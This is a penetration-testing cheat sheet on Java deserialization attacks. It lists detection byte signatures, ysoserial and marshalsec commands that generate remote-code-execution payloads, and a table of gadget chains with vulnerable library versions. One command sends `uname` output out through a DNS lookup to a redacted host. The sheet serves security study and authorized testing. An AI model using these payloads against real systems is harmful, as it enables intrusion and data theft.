Java Deserialization
Detection
"AC ED 00 05"in HexAC ED: STREAM_MAGIC. Specifies that this is a serialization protocol.00 05: STREAM_VERSION. The serialization version."rO0"in Base64- Content-type = "application/x-java-serialized-object"
"H4sIAAAAAAAAAJ"in gzip(base64)
Tools
Ysoserial
frohoff/ysoserial : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin
java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
java -jar ysoserial.jar Groovy1 'ping 127.0.0.1' > payload.bin
java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64
List of payloads included in ysoserial:
Payload Authors Dependencies
------- ------- ------------
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
Hibernate2 @mbechler
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
Burp extensions using ysoserial
Alternative Tooling
- pwntester/JRE8u20_RCE_Gadget
- joaomatosf/JexBoss - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool
- pimps/ysoserial-modified
- NickstaDB/SerialBrute - Java serialization brute force attack tool
- NickstaDB/SerializationDumper - A tool to dump Java serialization streams in a more human readable form
- bishopfox/gadgetprobe
- k3idii/Deserek
- mbechler/marshalsec - Turning your data into code execution
$ java -cp marshalsec.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]] $ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc" $ java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://localhost:8000\#exploit.JNDIExploit 1389 // -a - generates/tests all payloads for that marshaller // -t - runs in test mode, unmarshalling the generated payloads after generating them. // -v - verbose mode, e.g. also shows the generated payload in test mode. // gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller. // arguments - Gadget specific arguments
Payload generators for the following marshallers are included:
| Marshaller | Gadget Impact |
|---|---|
| BlazeDSAMF(0|3|X) | JDK only escalation to Java serialization various third party libraries RCEs |
| Hessian|Burlap | various third party RCEs |
| Castor | dependency library RCE |
| Jackson | possible JDK only RCE, various third party RCEs |
| Java | yet another third party RCE |
| JsonIO | JDK only RCE |
| JYAML | JDK only RCE |
| Kryo | third party RCEs |
| KryoAltStrategy | JDK only RCE |
| Red5AMF(0|3) | JDK only RCE |
| SnakeYAML | JDK only RCEs |
| XStream | JDK only RCEs |
| YAMLBeans | third party RCE |
Gadgets
Require:
* java.io.Serializable
References
- Github - ysoserial
- Triggering a DNS lookup using Java Deserialization - paranoidsoftware.com
- Detecting deserialization bugs with DNS exfiltration - Philippe Arteau | Mar 22, 2017
- Java-Deserialization-Cheat-Sheet - GrrrDog
- Understanding & practicing java deserialization exploits
- How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil
- Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli
- Jackson CVE-2019-12384: anatomy of a vulnerability class
- On Jackson CVEs: Don’t Panic — Here is what you need to know
- Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin / @artsploit - 29 June 2021